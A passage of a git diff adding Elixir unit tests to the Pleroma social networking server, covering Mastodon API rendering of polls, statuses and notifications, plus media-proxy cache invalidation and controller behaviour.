Pleroma.UserRelationship.create_mute(user, another_user) + {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, favorite_activity} = CommonAPI.favorite(another_user, create_activity.id) + {:ok, [notification]} = Notification.create_notifications(favorite_activity) + create_activity = Activity.get_by_id(create_activity.id) + + expected = %{ + id: to_string(notification.id), + pleroma: %{is_seen: true, is_muted: true}, + type: "favourite", + account: AccountView.render("show.json", %{user: another_user, for: user}), + status: StatusView.render("show.json", %{activity: create_activity, for: user}), + created_at: Utils.to_masto_date(notification.inserted_at) + } + + test_notifications_rendering([notification], user, [expected]) + end +end diff --git a/test/pleroma/web/mastodon_api/views/poll_view_test.exs b/test/pleroma/web/mastodon_api/views/poll_view_test.exs new file mode 100644 index 000000000..b7e2f17ef --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/poll_view_test.exs @@ -0,0 +1,167 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.PollViewTest do + use Pleroma.DataCase + + alias Pleroma.Object + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MastodonAPI.PollView + + import Pleroma.Factory + import Tesla.Mock + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "renders a poll" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "Is Tenshi eating a corndog cute?", + poll: %{ + options: ["absolutely!", "sure", "yes", "why are you even asking?"], + expires_in: 20 + } + }) + + object = Object.normalize(activity) + + expected = %{ + emojis: [], + expired: false, + id: to_string(object.id), + multiple: false, + options: [ + %{title: "absolutely!", votes_count: 0}, + %{title: "sure", votes_count: 0}, + %{title: "yes", votes_count: 0}, + %{title: "why are you even asking?", votes_count: 0} + ], + voted: false, + votes_count: 0, + voters_count: nil + } + + result = PollView.render("show.json", %{object: object}) + expires_at = result.expires_at + result = Map.delete(result, :expires_at) + + assert result == expected + + expires_at = NaiveDateTime.from_iso8601!(expires_at) + assert NaiveDateTime.diff(expires_at, NaiveDateTime.utc_now()) in 15..20 + end + + test "detects if it is multiple choice" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "Which Mastodon developer is your favourite?", + poll: %{ + options: ["Gargron", "Eugen"], + expires_in: 20, + multiple: true + } + }) + + voter = insert(:user) + + object = Object.normalize(activity) + + {:ok, _votes, object} = CommonAPI.vote(voter, object, [0, 1]) + + assert match?( + %{ + multiple: true, + voters_count: 1, + votes_count: 2 + }, + PollView.render("show.json", %{object: object}) + ) + end + + test "detects emoji" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "What's with the smug face?", + poll: %{ + options: [":blank: sip", ":blank::blank: sip", ":blank::blank::blank: sip"], + expires_in: 20 + } + }) + + object = Object.normalize(activity) + + assert %{emojis: [%{shortcode: "blank"}]} = PollView.render("show.json", %{object: object}) + end + + test "detects vote status" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "Which input devices do you use?", + poll: %{ + options: ["mouse", "trackball", "trackpoint"], + multiple: true, + expires_in: 20 + } + }) + + object = Object.normalize(activity) + + {:ok, _, object} = CommonAPI.vote(other_user, object, [1, 2]) + + result = PollView.render("show.json", %{object: object, for: other_user}) + + assert result[:voted] == true + assert Enum.at(result[:options], 1)[:votes_count] == 1 + assert Enum.at(result[:options], 2)[:votes_count] == 1 + end + + test "does not crash on polls with no end date" do + object = Object.normalize("https://skippers-bin.com/notes/7x9tmrp97i") + result = PollView.render("show.json", %{object: object}) + + assert result[:expires_at] == nil + assert result[:expired] == false + end + + test "doesn't strips HTML tags" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "What's with the smug face?", + poll: %{ + options: [ + "", + "", + "", + "" + ], + expires_in: 20 + } + }) + + object = Object.normalize(activity) + + assert %{ + options: [ + %{title: "", votes_count: 0}, + %{title: "", votes_count: 0}, + %{title: "", votes_count: 0}, + %{title: "", votes_count: 0} + ] + } = PollView.render("show.json", %{object: object}) + end +end diff --git a/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs b/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs new file mode 100644 index 000000000..fbfd873ef --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs @@ -0,0 +1,68 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ScheduledActivityViewTest do + use Pleroma.DataCase + alias Pleroma.ScheduledActivity + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.CommonAPI.Utils + alias Pleroma.Web.MastodonAPI.ScheduledActivityView + alias Pleroma.Web.MastodonAPI.StatusView + import Pleroma.Factory + + test "A scheduled activity with a media attachment" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "hi"}) + + scheduled_at = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(10), :millisecond) + |> NaiveDateTime.to_iso8601() + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) + + attrs = %{ + params: %{ + "media_ids" => [upload.id], + "status" => "hi", + "sensitive" => true, + "spoiler_text" => "spoiler", + "visibility" => "unlisted", + "in_reply_to_id" => to_string(activity.id) + }, + scheduled_at: scheduled_at + } + + {:ok, scheduled_activity} = ScheduledActivity.create(user, attrs) + result = ScheduledActivityView.render("show.json", %{scheduled_activity: scheduled_activity}) + + expected = %{ + id: to_string(scheduled_activity.id), + media_attachments: + %{media_ids: [upload.id]} + |> Utils.attachments_from_ids() + |> Enum.map(&StatusView.render("attachment.json", %{attachment: &1})), + params: %{ + in_reply_to_id: to_string(activity.id), + media_ids: [upload.id], + poll: nil, + scheduled_at: nil, + sensitive: true, + spoiler_text: "spoiler", + text: "hi", + visibility: "unlisted" + }, + scheduled_at: Utils.to_masto_date(scheduled_activity.scheduled_at) + } + + assert expected == result + end +end diff --git a/test/pleroma/web/mastodon_api/views/status_view_test.exs b/test/pleroma/web/mastodon_api/views/status_view_test.exs new file mode 100644 index 000000000..70d829979 --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/status_view_test.exs @@ -0,0 +1,664 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.StatusViewTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Bookmark + alias Pleroma.Conversation.Participation + alias Pleroma.HTML + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.UserRelationship + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.CommonAPI.Utils + alias Pleroma.Web.MastodonAPI.AccountView + alias Pleroma.Web.MastodonAPI.StatusView + + import Pleroma.Factory + import Tesla.Mock + import OpenApiSpex.TestAssertions + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "has an emoji reaction list" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "dae cofe??"}) + + {:ok, _} = CommonAPI.react_with_emoji(activity.id, user, "☕") + {:ok, _} = CommonAPI.react_with_emoji(activity.id, third_user, "🍵") + {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") + activity = Repo.get(Activity, activity.id) + status = StatusView.render("show.json", activity: activity) + + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + + assert status[:pleroma][:emoji_reactions] == [ + %{name: "☕", count: 2, me: false}, + %{name: "🍵", count: 1, me: false} + ] + + status = StatusView.render("show.json", activity: activity, for: user) + + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + + assert status[:pleroma][:emoji_reactions] == [ + %{name: "☕", count: 2, me: true}, + %{name: "🍵", count: 1, me: false} + ] + end + + test "works correctly with badly formatted emojis" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "yo"}) + + activity + |> Object.normalize(false) + |> Object.update_data(%{"reactions" => %{"☕" => [user.ap_id], "x" => 1}}) + + activity = Activity.get_by_id(activity.id) + + status = StatusView.render("show.json", activity: activity, for: user) + + assert status[:pleroma][:emoji_reactions] == [ + %{name: "☕", count: 1, me: true} + ] + end + + test "loads and returns the direct conversation id when given the `with_direct_conversation_id` option" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"}) + [participation] = Participation.for_user(user) + + status = + StatusView.render("show.json", + activity: activity, + with_direct_conversation_id: true, + for: user + ) + + assert status[:pleroma][:direct_conversation_id] == participation.id + + status = StatusView.render("show.json", activity: activity, for: user) + assert status[:pleroma][:direct_conversation_id] == nil + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "returns the direct conversation id when given the `direct_conversation_id` option" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"}) + [participation] = Participation.for_user(user) + + status = + StatusView.render("show.json", + activity: activity, + direct_conversation_id: participation.id, + for: user + ) + + assert status[:pleroma][:direct_conversation_id] == participation.id + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "returns a temporary ap_id based user for activities missing db users" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"}) + + Repo.delete(user) + Cachex.clear(:user_cache) + + finger_url = + "https://localhost/.well-known/webfinger?resource=acct:#{user.nickname}@localhost" + + Tesla.Mock.mock_global(fn + %{method: :get, url: "http://localhost/.well-known/host-meta"} -> + %Tesla.Env{status: 404, body: ""} + + %{method: :get, url: "https://localhost/.well-known/host-meta"} -> + %Tesla.Env{status: 404, body: ""} + + %{ + method: :get, + url: ^finger_url + } -> + %Tesla.Env{status: 404, body: ""} + end) + + %{account: ms_user} = StatusView.render("show.json", activity: activity) + + assert ms_user.acct == "erroruser@example.com" + end + + test "tries to get a user by nickname if fetching by ap_id doesn't work" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"}) + + {:ok, user} = + user + |> Ecto.Changeset.change(%{ap_id: "#{user.ap_id}/extension/#{user.nickname}"}) + |> Repo.update() + + Cachex.clear(:user_cache) + + result = StatusView.render("show.json", activity: activity) + + assert result[:account][:id] == to_string(user.id) + assert_schema(result, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "a note with null content" do + note = insert(:note_activity) + note_object = Object.normalize(note) + + data = + note_object.data + |> Map.put("content", nil) + + Object.change(note_object, %{data: data}) + |> Object.update_and_set_cache() + + User.get_cached_by_ap_id(note.data["actor"]) + + status = StatusView.render("show.json", %{activity: note}) + + assert status.content == "" + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "a note activity" do + note = insert(:note_activity) + object_data = Object.normalize(note).data + user = User.get_cached_by_ap_id(note.data["actor"]) + + convo_id = Utils.context_to_conversation_id(object_data["context"]) + + status = StatusView.render("show.json", %{activity: note}) + + created_at = + (object_data["published"] || "") + |> String.replace(~r/\.\d+Z/, ".000Z") + + expected = %{ + id: to_string(note.id), + uri: object_data["id"], + url: Pleroma.Web.Router.Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, note), + account: AccountView.render("show.json", %{user: user, skip_visibility_check: true}), + in_reply_to_id: nil, + in_reply_to_account_id: nil, + card: nil, + reblog: nil, + content: HTML.filter_tags(object_data["content"]), + text: nil, + created_at: created_at, + reblogs_count: 0, + replies_count: 0, + favourites_count: 0, + reblogged: false, + bookmarked: false, + favourited: false, + muted: false, + pinned: false, + sensitive: false, + poll: nil, + spoiler_text: HTML.filter_tags(object_data["summary"]), + visibility: "public", + media_attachments: [], + mentions: [], + tags: [ + %{ + name: "#{object_data["tag"]}", + url: "/tag/#{object_data["tag"]}" + } + ], + application: %{ + name: "Web", + website: nil + }, + language: nil, + emojis: [ + %{ + shortcode: "2hu", + url: "corndog.png", + static_url: "corndog.png", + visible_in_picker: false + } + ], + pleroma: %{ + local: true, + conversation_id: convo_id, + in_reply_to_account_acct: nil, + content: %{"text/plain" => HTML.strip_tags(object_data["content"])}, + spoiler_text: %{"text/plain" => HTML.strip_tags(object_data["summary"])}, + expires_at: nil, + direct_conversation_id: nil, + thread_muted: false, + emoji_reactions: [], + parent_visible: false + } + } + + assert status == expected + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "tells if the message is muted for some reason" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _user_relationships} = User.mute(user, other_user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "test"}) + + relationships_opt = UserRelationship.view_relationships_option(user, [other_user]) + + opts = %{activity: activity} + status = StatusView.render("show.json", opts) + assert status.muted == false + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + + status = StatusView.render("show.json", Map.put(opts, :relationships, relationships_opt)) + assert status.muted == false + + for_opts = %{activity: activity, for: user} + status = StatusView.render("show.json", for_opts) + assert status.muted == true + + status = StatusView.render("show.json", Map.put(for_opts, :relationships, relationships_opt)) + assert status.muted == true + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "tells if the message is thread muted" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _user_relationships} = User.mute(user, other_user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "test"}) + status = StatusView.render("show.json", %{activity: activity, for: user}) + + assert status.pleroma.thread_muted == false + + {:ok, activity} = CommonAPI.add_mute(user, activity) + + status = StatusView.render("show.json", %{activity: activity, for: user}) + + assert status.pleroma.thread_muted == true + end + + test "tells if the status is bookmarked" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "Cute girls doing cute things"}) + status = StatusView.render("show.json", %{activity: activity}) + + assert status.bookmarked == false + + status = StatusView.render("show.json", %{activity: activity, for: user}) + + assert status.bookmarked == false + + {:ok, _bookmark} = Bookmark.create(user.id, activity.id) + + activity = Activity.get_by_id_with_object(activity.id) + + status = StatusView.render("show.json", %{activity: activity, for: user}) + + assert status.bookmarked == true + end + + test "a reply" do + note = insert(:note_activity) + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "he", in_reply_to_status_id: note.id}) + + status = StatusView.render("show.json", %{activity: activity}) + + assert status.in_reply_to_id == to_string(note.id) + + [status] = StatusView.render("index.json", %{activities: [activity], as: :activity}) + + assert status.in_reply_to_id == to_string(note.id) + end + + test "contains mentions" do + user = insert(:user) + mentioned = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hi @#{mentioned.nickname}"}) + + status = StatusView.render("show.json", %{activity: activity}) + + assert status.mentions == + Enum.map([mentioned], fn u -> AccountView.render("mention.json", %{user: u}) end) + + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "create mentions from the 'to' field" do + %User{ap_id: recipient_ap_id} = insert(:user) + cc = insert_pair(:user) |> Enum.map(& &1.ap_id) + + object = + insert(:note, %{ + data: %{ + "to" => [recipient_ap_id], + "cc" => cc + } + }) + + activity = + insert(:note_activity, %{ + note: object, + recipients: [recipient_ap_id | cc] + }) + + assert length(activity.recipients) == 3 + + %{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity}) + + assert length(mentions) == 1 + assert mention.url == recipient_ap_id + end + + test "create mentions from the 'tag' field" do + recipient = insert(:user) + cc = insert_pair(:user) |> Enum.map(& &1.ap_id) + + object = + insert(:note, %{ + data: %{ + "cc" => cc, + "tag" => [ + %{ + "href" => recipient.ap_id, + "name" => recipient.nickname, + "type" => "Mention" + }, + %{ + "href" => "https://example.com/search?tag=test", + "name" => "#test", + "type" => "Hashtag" + } + ] + } + }) + + activity = + insert(:note_activity, %{ + note: object, + recipients: [recipient.ap_id | cc] + }) + + assert length(activity.recipients) == 3 + + %{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity}) + + assert length(mentions) == 1 + assert mention.url == recipient.ap_id + end + + test "attachments" do + object = %{ + "type" => "Image", + "url" => [ + %{ + "mediaType" => "image/png", + "href" => "someurl" + } + ], + "uuid" => 6 + } + + expected = %{ + id: "1638338801", + type: "image", + url: "someurl", + remote_url: "someurl", + preview_url: "someurl", + text_url: "someurl", + description: nil, + pleroma: %{mime_type: "image/png"} + } + + api_spec = Pleroma.Web.ApiSpec.spec() + + assert expected == StatusView.render("attachment.json", %{attachment: object}) + assert_schema(expected, "Attachment", api_spec) + + # If theres a "id", use that instead of the generated one + object = Map.put(object, "id", 2) + result = StatusView.render("attachment.json", %{attachment: object}) + + assert %{id: "2"} = result + assert_schema(result, "Attachment", api_spec) + end + + test "put the url advertised in the Activity in to the url attribute" do + id = "https://wedistribute.org/wp-json/pterotype/v1/object/85810" + [activity] = Activity.search(nil, id) + + status = StatusView.render("show.json", %{activity: activity}) + + assert status.uri == id + assert status.url == "https://wedistribute.org/2019/07/mastodon-drops-ostatus/" + end + + test "a reblog" do + user = insert(:user) + activity = insert(:note_activity) + + {:ok, reblog} = CommonAPI.repeat(activity.id, user) + + represented = StatusView.render("show.json", %{for: user, activity: reblog}) + + assert represented[:id] == to_string(reblog.id) + assert represented[:reblog][:id] == to_string(activity.id) + assert represented[:emojis] == [] + assert_schema(represented, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "a peertube video" do + user = insert(:user) + + {:ok, object} = + Pleroma.Object.Fetcher.fetch_object_from_id( + "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" + ) + + %Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"]) + + represented = StatusView.render("show.json", %{for: user, activity: activity}) + + assert represented[:id] == to_string(activity.id) + assert length(represented[:media_attachments]) == 1 + assert_schema(represented, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "funkwhale audio" do + user = insert(:user) + + {:ok, object} = + Pleroma.Object.Fetcher.fetch_object_from_id( + "https://channels.tests.funkwhale.audio/federation/music/uploads/42342395-0208-4fee-a38d-259a6dae0871" + ) + + %Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"]) + + represented = StatusView.render("show.json", %{for: user, activity: activity}) + + assert represented[:id] == to_string(activity.id) + assert length(represented[:media_attachments]) == 1 + end + + test "a Mobilizon event" do + user = insert(:user) + + {:ok, object} = + Pleroma.Object.Fetcher.fetch_object_from_id( + "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" + ) + + %Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"]) + + represented = StatusView.render("show.json", %{for: user, activity: activity}) + + assert represented[:id] == to_string(activity.id) + + assert represented[:url] == + "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" + + assert represented[:content] == + "

Mobilizon Launching Party

Mobilizon is now federated! 🎉

You can view this event from other instances if they are subscribed to mobilizon.org, and soon directly from Mastodon and Pleroma. It is possible that you may see some comments from other instances, including Mastodon ones, just below.

With a Mobilizon account on an instance, you may participate at events from other instances and add comments on events.

Of course, it's still a work in progress: if reports made from an instance on events and comments can be federated, you can't block people right now, and moderators actions are rather limited, but this will definitely get fixed over time until first stable version next year.

Anyway, if you want to come up with some feedback, head over to our forum or - if you feel you have technical skills and are familiar with it - on our Gitlab repository.

Also, to people that want to set Mobilizon themselves even though we really don't advise to do that for now, we have a little documentation but it's quite the early days and you'll probably need some help. No worries, you can chat with us on our Forum or though our Matrix channel.

Check our website for more informations and follow us on Twitter or Mastodon.

" + end + + describe "build_tags/1" do + test "it returns a a dictionary tags" do + object_tags = [ + "fediverse", + "mastodon", + "nextcloud", + %{ + "href" => "https://kawen.space/users/lain", + "name" => "@lain@kawen.space", + "type" => "Mention" + } + ] + + assert StatusView.build_tags(object_tags) == [ + %{name: "fediverse", url: "/tag/fediverse"}, + %{name: "mastodon", url: "/tag/mastodon"}, + %{name: "nextcloud", url: "/tag/nextcloud"} + ] + end + end + + describe "rich media cards" do + test "a rich media card without a site name renders correctly" do + page_url = "http://example.com" + + card = %{ + url: page_url, + image: page_url <> "/example.jpg", + title: "Example website" + } + + %{provider_name: "example.com"} = + StatusView.render("card.json", %{page_url: page_url, rich_media: card}) + end + + test "a rich media card without a site name or image renders correctly" do + page_url = "http://example.com" + + card = %{ + url: page_url, + title: "Example website" + } + + %{provider_name: "example.com"} = + StatusView.render("card.json", %{page_url: page_url, rich_media: card}) + end + + test "a rich media card without an image renders correctly" do + page_url = "http://example.com" + + card = %{ + url: page_url, + site_name: "Example site name", + title: "Example website" + } + + %{provider_name: "example.com"} = + StatusView.render("card.json", %{page_url: page_url, rich_media: card}) + end + + test "a rich media card with all relevant data renders correctly" do + page_url = "http://example.com" + + card = %{ + url: page_url, + site_name: "Example site name", + title: "Example website", + image: page_url <> "/example.jpg", + description: "Example description" + } + + %{provider_name: "example.com"} = + StatusView.render("card.json", %{page_url: page_url, rich_media: card}) + end + end + + test "does not embed a relationship in the account" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "drink more water" + }) + + result = StatusView.render("show.json", %{activity: activity, for: other_user}) + + assert result[:account][:pleroma][:relationship] == %{} + assert_schema(result, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "does not embed a relationship in the account in reposts" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "˙˙ɐʎns" + }) + + {:ok, activity} = CommonAPI.repeat(activity.id, other_user) + + result = StatusView.render("show.json", %{activity: activity, for: user}) + + assert result[:account][:pleroma][:relationship] == %{} + assert result[:reblog][:account][:pleroma][:relationship] == %{} + assert_schema(result, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "visibility/list" do + user = insert(:user) + + {:ok, list} = Pleroma.List.create("foo", user) + + {:ok, activity} = CommonAPI.post(user, %{status: "foobar", visibility: "list:#{list.id}"}) + + status = StatusView.render("show.json", activity: activity) + + assert status.visibility == "list" + end + + test "has a field for parent visibility" do + user = insert(:user) + poster = insert(:user) + + {:ok, invisible} = CommonAPI.post(poster, %{status: "hey", visibility: "private"}) + + {:ok, visible} = + CommonAPI.post(poster, %{status: "hey", visibility: "private", in_reply_to_id: invisible.id}) + + status = StatusView.render("show.json", activity: visible, for: user) + refute status.pleroma.parent_visible + + status = StatusView.render("show.json", activity: visible, for: poster) + assert status.pleroma.parent_visible + end +end diff --git a/test/pleroma/web/mastodon_api/views/subscription_view_test.exs b/test/pleroma/web/mastodon_api/views/subscription_view_test.exs new file mode 100644 index 000000000..981524c0e --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/subscription_view_test.exs @@ -0,0 +1,23 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.SubscriptionViewTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Web.MastodonAPI.SubscriptionView, as: View + alias Pleroma.Web.Push + + test "Represent a subscription" do + subscription = insert(:push_subscription, data: %{"alerts" => %{"mention" => true}}) + + expected = %{ + alerts: %{"mention" => true}, + endpoint: subscription.endpoint, + id: to_string(subscription.id), + server_key: Keyword.get(Push.vapid_config(), :public_key) + } + + assert expected == View.render("show.json", %{subscription: subscription}) + end +end diff --git a/test/pleroma/web/media_proxy/invalidation/http_test.exs b/test/pleroma/web/media_proxy/invalidation/http_test.exs new file mode 100644 index 000000000..13d081325 --- /dev/null +++ b/test/pleroma/web/media_proxy/invalidation/http_test.exs @@ -0,0 +1,43 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MediaProxy.Invalidation.HttpTest do + use ExUnit.Case + alias Pleroma.Web.MediaProxy.Invalidation + + import ExUnit.CaptureLog + import Tesla.Mock + + setup do + on_exit(fn -> Cachex.clear(:banned_urls_cache) end) + end + + test "logs hasn't error message when request is valid" do + mock(fn + %{method: :purge, url: "http://example.com/media/example.jpg"} -> + %Tesla.Env{status: 200} + end) + + refute capture_log(fn -> + assert Invalidation.Http.purge( + ["http://example.com/media/example.jpg"], + [] + ) == {:ok, ["http://example.com/media/example.jpg"]} + end) =~ "Error while cache purge" + end + + test "it write error message in logs when request invalid" do + mock(fn + %{method: :purge, url: "http://example.com/media/example1.jpg"} -> + %Tesla.Env{status: 404} + end) + + assert capture_log(fn -> + assert Invalidation.Http.purge( + ["http://example.com/media/example1.jpg"], + [] + ) == {:ok, ["http://example.com/media/example1.jpg"]} + end) =~ "Error while cache purge: url - http://example.com/media/example1.jpg" + end +end diff --git a/test/pleroma/web/media_proxy/invalidation/script_test.exs b/test/pleroma/web/media_proxy/invalidation/script_test.exs new file mode 100644 index 000000000..692cbb2df --- /dev/null +++ b/test/pleroma/web/media_proxy/invalidation/script_test.exs @@ -0,0 +1,30 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MediaProxy.Invalidation.ScriptTest do + use ExUnit.Case + alias Pleroma.Web.MediaProxy.Invalidation + + import ExUnit.CaptureLog + + setup do + on_exit(fn -> Cachex.clear(:banned_urls_cache) end) + end + + test "it logger error when script not found" do + assert capture_log(fn -> + assert Invalidation.Script.purge( + ["http://example.com/media/example.jpg"], + script_path: "./example" + ) == {:error, "%ErlangError{original: :enoent}"} + end) =~ "Error while cache purge: %ErlangError{original: :enoent}" + + capture_log(fn -> + assert Invalidation.Script.purge( + ["http://example.com/media/example.jpg"], + [] + ) == {:error, "\"not found script path\""} + end) + end +end diff --git a/test/pleroma/web/media_proxy/invalidation_test.exs b/test/pleroma/web/media_proxy/invalidation_test.exs new file mode 100644 index 000000000..aa1435ac0 --- /dev/null +++ b/test/pleroma/web/media_proxy/invalidation_test.exs @@ -0,0 +1,68 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MediaProxy.InvalidationTest do + use ExUnit.Case + use Pleroma.Tests.Helpers + + alias Pleroma.Config + alias Pleroma.Web.MediaProxy.Invalidation + + import ExUnit.CaptureLog + import Mock + import Tesla.Mock + + setup do: clear_config([:media_proxy]) + + setup do + on_exit(fn -> Cachex.clear(:banned_urls_cache) end) + end + + describe "Invalidation.Http" do + test "perform request to clear cache" do + Config.put([:media_proxy, :enabled], false) + Config.put([:media_proxy, :invalidation, :enabled], true) + Config.put([:media_proxy, :invalidation, :provider], Invalidation.Http) + + Config.put([Invalidation.Http], method: :purge, headers: [{"x-refresh", 1}]) + image_url = "http://example.com/media/example.jpg" + Pleroma.Web.MediaProxy.put_in_banned_urls(image_url) + + mock(fn + %{ + method: :purge, + url: "http://example.com/media/example.jpg", + headers: [{"x-refresh", 1}] + } -> + %Tesla.Env{status: 200} + end) + + assert capture_log(fn -> + assert Pleroma.Web.MediaProxy.in_banned_urls(image_url) + assert Invalidation.purge([image_url]) == {:ok, [image_url]} + assert Pleroma.Web.MediaProxy.in_banned_urls(image_url) + end) =~ "Running cache purge: [\"#{image_url}\"]" + end + end + + describe "Invalidation.Script" do + test "run script to clear cache" do + Config.put([:media_proxy, :enabled], false) + Config.put([:media_proxy, :invalidation, :enabled], true) + Config.put([:media_proxy, :invalidation, :provider], Invalidation.Script) + Config.put([Invalidation.Script], script_path: "purge-nginx") + + image_url = "http://example.com/media/example.jpg" + Pleroma.Web.MediaProxy.put_in_banned_urls(image_url) + + with_mocks [{System, [], [cmd: fn _, _ -> {"ok", 0} end]}] do + assert capture_log(fn -> + assert Pleroma.Web.MediaProxy.in_banned_urls(image_url) + assert Invalidation.purge([image_url]) == {:ok, [image_url]} + assert Pleroma.Web.MediaProxy.in_banned_urls(image_url) + end) =~ "Running cache purge: [\"#{image_url}\"]" + end + end + end +end diff --git a/test/pleroma/web/media_proxy/media_proxy_controller_test.exs b/test/pleroma/web/media_proxy/media_proxy_controller_test.exs new file mode 100644 index 000000000..e9b584822 --- /dev/null +++ b/test/pleroma/web/media_proxy/media_proxy_controller_test.exs @@ -0,0 +1,342 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do + use Pleroma.Web.ConnCase + + import Mock + + alias Pleroma.Web.MediaProxy + alias Plug.Conn + + setup do + on_exit(fn -> Cachex.clear(:banned_urls_cache) end) + end + + describe "Media Proxy" do + setup do + clear_config([:media_proxy, :enabled], true) + clear_config([Pleroma.Web.Endpoint, :secret_key_base], "00000000000") + + [url: MediaProxy.encode_url("https://google.fn/test.png")] + end + + test "it returns 404 when disabled", %{conn: conn} do + clear_config([:media_proxy, :enabled], false) + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/hhgfh/eeeee") + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/hhgfh/eeee/fff") + end + + test "it returns 403 for invalid signature", %{conn: conn, url: url} do + Pleroma.Config.put([Pleroma.Web.Endpoint, :secret_key_base], "000") + %{path: path} = URI.parse(url) + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, path) + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, "/proxy/hhgfh/eeee") + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, "/proxy/hhgfh/eeee/fff") + end 